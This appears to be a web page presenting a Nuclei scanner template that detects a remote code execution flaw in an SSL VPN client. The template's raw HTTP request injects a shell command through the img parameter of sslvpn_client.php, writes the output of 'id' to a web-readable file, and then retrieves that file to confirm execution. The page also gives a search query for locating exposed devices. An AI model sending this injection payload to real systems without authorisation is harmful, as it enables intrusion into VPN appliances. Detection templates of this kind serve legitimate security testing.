SSL VPN Client - Remote Code Execution

ID: sslvpn-client-rce

Severity: critical

Author: DhiyaneshDK

Tags: sslvpn,rce,intrusive

Description

SSL VPN Client is vulnerable to RCE.

YAML Source

id: sslvpn-client-rce

info:
  name: SSL VPN Client - Remote Code Execution
  author: DhiyaneshDK
  severity: critical
  description: SSL VPN Client is vulnerable to RCE.
  reference:
    - https://github.com/server2565543706/Poc/blob/master/POC/anquantongsha.py
    - https://github.com/Vme18000yuan/FreePOC/blob/master/poc/pocsuite/security_products_rce.py
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="/webui/images/default/default/alert_close.jpg"
  tags: sslvpn,rce,intrusive
variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        GET /sslvpn/sslvpn_client.php?client=logoImg&img=%20/tmp|echo%20%60id%60%20|tee%20/usr/local/webui/sslvpn/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /sslvpn/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body_2
        regex:
          - 'uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)'

      - type: word
        part: header_2
        words:
          - 'text/plain'
# digest: 4a0a00473045022100ab3d9fc23b7b9ae9ec4914effba6fa104f4c1a929af96f8084c10d12b002262202207e4f62d4a8476821e267fa7f6dea0a282189072bbb7c915400985e520f453331:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/sslvpn-client-rce.yaml"

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